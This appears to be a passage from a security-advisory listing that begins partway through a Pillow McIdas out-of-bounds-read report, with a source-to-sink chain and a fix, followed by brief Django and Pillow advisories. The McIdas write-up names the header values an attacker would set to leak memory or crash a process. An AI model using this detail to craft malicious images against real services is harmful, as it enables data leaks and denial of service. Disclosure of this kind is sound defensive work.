stride = 1 byte apart and the buffer is only offset + ysizestride = 2 bytes "claimed". Nothing reconciles the two. Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap. `c / the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. / ` Chain Summary ` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin._open: stride = w[15]+w[10]w[11]w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysizestride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ` Proof of Concept See attached poc.zip Impact on a Parent Application Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS. Suggested fix Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize` .

Django: DomainNameValidator permits newline characters that may enable HTTP header injection

An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. DomainNameValidator does not prohibit newlines in domain names (unless used via a form field, since CharField strips newlines). If an application uses values with newlines in an HTTP response, header injection can occur. Django itself is unaffected because HttpResponse prohibits newlines in HTTP headers. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue.

Django: GDALRaster may over-read heap memory when constructed from bytes

An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. django.contrib.gis.gdal.GDALRaster over-reads its in-memory buffer when constructed from a bytes object, which can disclose adjacent memory or cause service degradation via a potential segmentation fault when the vsi_buffer property is accessed. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue.

2 rules

Django has an Improper Handling of Length Parameter Inconsistency

An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated Content-Length header can bypass the FILE_UPLOAD_MAX_MEMORY_SIZE limit, potentially loading large files into memory and causing service degradation. As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on FILE_UPLOAD_MAX_MEMORY_SIZE. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django thanks Kyle Agronick for reporting this issue.

Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)

Impact Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution. Patches Patched version: 12.2.0 Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison. Workarounds Use any version but affected versions: >= 10.3.0, < 12.2.0 Resources Fix: https://github.com/python-pillow/Pillow/pull/9520 Original issue: CVE-2026-25990 (Pillow 12.1.1)

Pillow has a PDF Parsing Trailer Infinite Loop (DoS)

Impact An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive. Patches Patched version: 12.2.0. PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an error if a cycle is detected. Workarounds Use any version but the affected versions: >= 4.2.0, < 12.2.0 Resources Fix: https://github.com/python-pillow/Pillow/pull/9519

Showing 1–20 of 68 threats